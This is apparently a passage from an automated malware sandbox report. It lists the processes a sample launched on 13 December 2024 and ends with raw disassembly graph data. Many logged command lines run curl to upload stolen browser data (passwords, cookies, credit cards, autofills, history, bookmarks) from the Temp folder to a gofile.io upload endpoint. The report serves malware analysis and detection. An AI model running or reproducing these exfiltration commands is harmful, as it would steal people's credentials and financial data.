                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:21
                                                                                                                                                                                                                                            Start time:02:45:07
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:22
                                                                                                                                                                                                                                            Start time:02:45:07
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:23
                                                                                                                                                                                                                                            Start time:02:45:07
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:24
                                                                                                                                                                                                                                            Start time:02:45:08
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:25
                                                                                                                                                                                                                                            Start time:02:45:08
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:26
                                                                                                                                                                                                                                            Start time:02:45:08
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:27
                                                                                                                                                                                                                                            Start time:02:45:16
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "tasklist"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:28
                                                                                                                                                                                                                                            Start time:02:45:16
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:29
                                                                                                                                                                                                                                            Start time:02:45:16
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\tasklist.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:tasklist
                                                                                                                                                                                                                                            Imagebase:0x7ff76a3f0000
                                                                                                                                                                                                                                            File size:106'496 bytes
                                                                                                                                                                                                                                            MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:30
                                                                                                                                                                                                                                            Start time:02:45:22
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:31
                                                                                                                                                                                                                                            Start time:02:45:22
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:32
                                                                                                                                                                                                                                            Start time:02:45:22
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:33
                                                                                                                                                                                                                                            Start time:02:45:24
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:34
                                                                                                                                                                                                                                            Start time:02:45:24
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:35
                                                                                                                                                                                                                                            Start time:02:45:24
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:37
                                                                                                                                                                                                                                            Start time:02:45:26
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:38
                                                                                                                                                                                                                                            Start time:02:45:26
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:39
                                                                                                                                                                                                                                            Start time:02:45:26
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:40
                                                                                                                                                                                                                                            Start time:02:45:26
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:41
                                                                                                                                                                                                                                            Start time:02:45:29
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:42
                                                                                                                                                                                                                                            Start time:02:45:29
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:43
                                                                                                                                                                                                                                            Start time:02:45:29
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:44
                                                                                                                                                                                                                                            Start time:02:45:29
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:45
                                                                                                                                                                                                                                            Start time:02:45:29
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:46
                                                                                                                                                                                                                                            Start time:02:45:29
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:47
                                                                                                                                                                                                                                            Start time:02:45:29
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:48
                                                                                                                                                                                                                                            Start time:02:45:29
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:49
                                                                                                                                                                                                                                            Start time:02:45:29
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            Disassembly

                                                                                                                                                                                                                                            Reset < >

                                                                                                                                                                                                                                              Execution Graph

                                                                                                                                                                                                                                              Execution Coverage:10.3%
                                                                                                                                                                                                                                              Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                              Signature Coverage:19.7%
                                                                                                                                                                                                                                              Total number of Nodes:2000
                                                                                                                                                                                                                                              Total number of Limit Nodes:43
                                                                                                                                                                                                                                              execution_graph 19964 7ff666df1720 19975 7ff666df7454 19964->19975 19976 7ff666df7461 19975->19976 19977 7ff666dea9b8 __free_lconv_num 11 API calls 19976->19977 19978 7ff666df747d 19976->19978 19977->19976 19979 7ff666dea9b8 __free_lconv_num 11 API calls 19978->19979 19980 7ff666df1729 19978->19980 19979->19978 19981 7ff666df0348 EnterCriticalSection 19980->19981 19452 7ff666de5698 19453 7ff666de56b2 19452->19453 19454 7ff666de56cf 19452->19454 19455 7ff666de4f58 _fread_nolock 11 API calls 19453->19455 19454->19453 19456 7ff666de56e2 CreateFileW 19454->19456 19457 7ff666de56b7 19455->19457 19458 7ff666de574c 19456->19458 19459 7ff666de5716 19456->19459 19461 7ff666de4f78 _get_daylight 11 API calls 19457->19461 19503 7ff666de5c74 19458->19503 19477 7ff666de57ec GetFileType 19459->19477 19464 7ff666de56bf 19461->19464 19468 7ff666dea950 _invalid_parameter_noinfo 37 API calls 19464->19468 19466 7ff666de5755 19471 7ff666de4eec _fread_nolock 11 API calls 19466->19471 19467 7ff666de5780 19524 7ff666de5a34 19467->19524 19472 7ff666de56ca 19468->19472 19469 7ff666de5741 CloseHandle 19469->19472 19470 7ff666de572b CloseHandle 19470->19472 19476 7ff666de575f 19471->19476 19476->19472 19478 7ff666de583a 19477->19478 19479 7ff666de58f7 19477->19479 19482 7ff666de5866 GetFileInformationByHandle 19478->19482 19487 7ff666de5b70 21 API calls 19478->19487 19480 7ff666de58ff 19479->19480 19481 7ff666de5921 19479->19481 19483 7ff666de5903 19480->19483 19484 7ff666de5912 GetLastError 19480->19484 19486 7ff666de5944 PeekNamedPipe 19481->19486 19502 7ff666de58e2 19481->19502 19482->19484 19485 7ff666de588f 19482->19485 19489 7ff666de4f78 _get_daylight 11 API calls 19483->19489 19491 7ff666de4eec _fread_nolock 11 API calls 19484->19491 19490 7ff666de5a34 51 API calls 19485->19490 19486->19502 19488 7ff666de5854 19487->19488 19488->19482 19488->19502 19489->19502 19492 7ff666de589a 19490->19492 19491->19502 19541 7ff666de5994 19492->19541 19493 7ff666ddc5c0 _log10_special 8 API calls 19494 7ff666de5724 19493->19494 19494->19469 19494->19470 19497 7ff666de5994 10 API calls 19498 7ff666de58b9 19497->19498 19499 7ff666de5994 10 API calls 19498->19499 19500 7ff666de58ca 19499->19500 19501 7ff666de4f78 _get_daylight 11 API calls 19500->19501 19500->19502 19501->19502 19502->19493 19504 7ff666de5caa 19503->19504 19505 7ff666de4f78 _get_daylight 11 API calls 19504->19505 19518 7ff666de5d42 __std_exception_copy 19504->19518 19507 7ff666de5cbc 19505->19507 19506 7ff666ddc5c0 _log10_special 8 API calls 19508 7ff666de5751 19506->19508 19509 7ff666de4f78 _get_daylight 11 API calls 19507->19509 19508->19466 19508->19467 19510 7ff666de5cc4 19509->19510 19511 7ff666de7e78 45 API calls 19510->19511 19512 7ff666de5cd9 19511->19512 19513 7ff666de5ce1 19512->19513 19514 7ff666de5ceb 19512->19514 19515 7ff666de4f78 _get_daylight 11 API calls 19513->19515 19516 7ff666de4f78 _get_daylight 11 API calls 19514->19516 19523 7ff666de5ce6 19515->19523 19517 7ff666de5cf0 19516->19517 19517->19518 19519 7ff666de4f78 _get_daylight 11 API calls 19517->19519 19518->19506 19520 7ff666de5cfa 19519->19520 19521 7ff666de7e78 45 API calls 19520->19521 19521->19523 19522 7ff666de5d34 GetDriveTypeW 19522->19518 19523->19518 19523->19522 19525 7ff666de5a5c 19524->19525 19533 7ff666de578d 19525->19533 19548 7ff666def794 19525->19548 19527 7ff666de5af0 19528 7ff666def794 51 API calls 19527->19528 19527->19533 19529 7ff666de5b03 19528->19529 19530 7ff666def794 51 API calls 19529->19530 19529->19533 19531 7ff666de5b16 19530->19531 19532 7ff666def794 51 API calls 19531->19532 19531->19533 19532->19533 19534 7ff666de5b70 19533->19534 19535 7ff666de5b8a 19534->19535 19536 7ff666de5bc1 19535->19536 19537 7ff666de5b9a 19535->19537 19538 7ff666def628 21 API calls 19536->19538 19539 7ff666de4eec _fread_nolock 11 API calls 19537->19539 19540 7ff666de5baa 19537->19540 19538->19540 19539->19540 19540->19476 19542 7ff666de59b0 19541->19542 19543 7ff666de59bd FileTimeToSystemTime 19541->19543 19542->19543 19546 7ff666de59b8 19542->19546 19544 7ff666de59d1 SystemTimeToTzSpecificLocalTime 19543->19544 19543->19546 19544->19546 19545 7ff666ddc5c0 _log10_special 8 API calls 19547 7ff666de58a9 19545->19547 19546->19545 19547->19497 19549 7ff666def7a1 19548->19549 19550 7ff666def7c5 19548->19550 19549->19550 19551 7ff666def7a6 19549->19551 19552 7ff666def7ff 19550->19552 19556 7ff666def81e 19550->19556 19553 7ff666de4f78 _get_daylight 11 API calls 19551->19553 19555 7ff666de4f78 _get_daylight 11 API calls 